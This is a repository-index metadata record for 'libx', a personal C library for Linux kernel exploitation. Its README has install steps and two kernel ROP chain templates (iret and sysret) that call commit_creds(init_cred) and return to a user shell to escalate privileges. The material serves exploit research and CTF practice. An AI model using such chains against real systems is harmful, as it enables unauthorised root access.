{"id":21889016,"url":"https://github.com/n132/libx","last_synced_at":"2025-04-15T10:23:42.124Z","repository":{"id":193151284,"uuid":"688224904","full_name":"n132/libx","owner":"n132","description":"A Linux Kernel Exploitation C Library","archived":false,"fork":false,"pushed_at":"2025-03-22T00:41:21.000Z","size":663,"stargazers_count":6,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-03-22T01:28:40.967Z","etag":null,"topics":["exploitation","linux-kernel","pwn"],"latest_commit_sha":null,"homepage":"","language":"C","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/n132.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-09-06T23:16:11.000Z","updated_at":"2025-03-22T00:41:25.000Z","dependencies_parsed_at":"2024-04-15T21:27:02.665Z","dependency_job_id":"1c423d73-ccde-4743-a5c2-3ec3af0570ba","html_url":"https://github.com/n132/libx","commit_stats":null,"previous_names":["n132/libx"],"tags_count":2,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n132%2Flibx","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n132%2Flibx/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n132%2Flibx/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/n132%2Flibx/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/n132","download_url":"https://codeload.github.com/n132/libx/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":249049437,"owners_count":21204452,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["exploitation","linux-kernel","pwn"],"created_at":"2024-11-28T11:18:37.132Z","updated_at":"2025-04-15T10:23:42.116Z","avatar_url":"https://github.com/n132.png","language":"C","funding_links":[],"categories":[],"sub_categories":[],"readme":"# libx\n\nIt's a personal c language library for kernel exploits. \n\n# Dependencies\n\n```sh\n# If you use fuse\nsudo apt install fuse libfuse-dev libkeyutils-dev\n```\n\n# Usage\n\nInstall `libx`\n```bash\ngit clone git@github.com:n132/libx.git\ncd libx\nmake \u0026\u0026 sudo make install\n```\n\n\nuninstall `libx`\n\n```bash\nmake clean\nmake uninstall\n```\n# musl (optional)\n```bash\nmake musl \u0026\u0026 sudo make install-musl\n```\n# Example\n\n```c\n//gcc main.c -o ./main -lx -w\n#include \u003clibx.h\u003e\nint main(){\n    libxInit();\n}\n```\n\n# KROP\n\nIn kernel ROP, we usually return to user land by `iret` or `sysret`.\n\n## iret\n```c\n    p[idx++]  = rdi;\n    p[idx++]  = init_cred                   - NO_ASLR_BASE + base;\n    p[idx++]  = commit_creds                - NO_ASLR_BASE + base;\n    p[idx++]  = swapgs_restore_regs_and_return_to_usermode + 103 - NO_ASLR_BASE + base;\n    p[idx++]  = *(size_t*) \"RDI\";\n    p[idx++]  = *(size_t*) \"RAX\";\n    p[idx++]  = shell;\n    p[idx++]  = user_cs;\n    p[idx++]  = user_rflags;\n    p[idx++]  = user_sp|8;\n    p[idx++]  = user_ss;\n```\n## sysret\n```c\n    p[idx++]  = rdi;\n    p[idx++]  = init_cred                   - NO_ASLR_BASE + base;\n    p[idx++]  = commit_creds                - NO_ASLR_BASE + base;\n    p[idx++]  = r11;\n    p[idx++]  = user_rflags;\n    p[idx++]  = rcx;\n    p[idx++]  = shell;\n    p[idx++]  = sysret; // pop rsp; swapgs; sysret\n    p[idx++]  = user_sp|8;\n```\n\n\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fn132%2Flibx","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fn132%2Flibx","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fn132%2Flibx/lists"}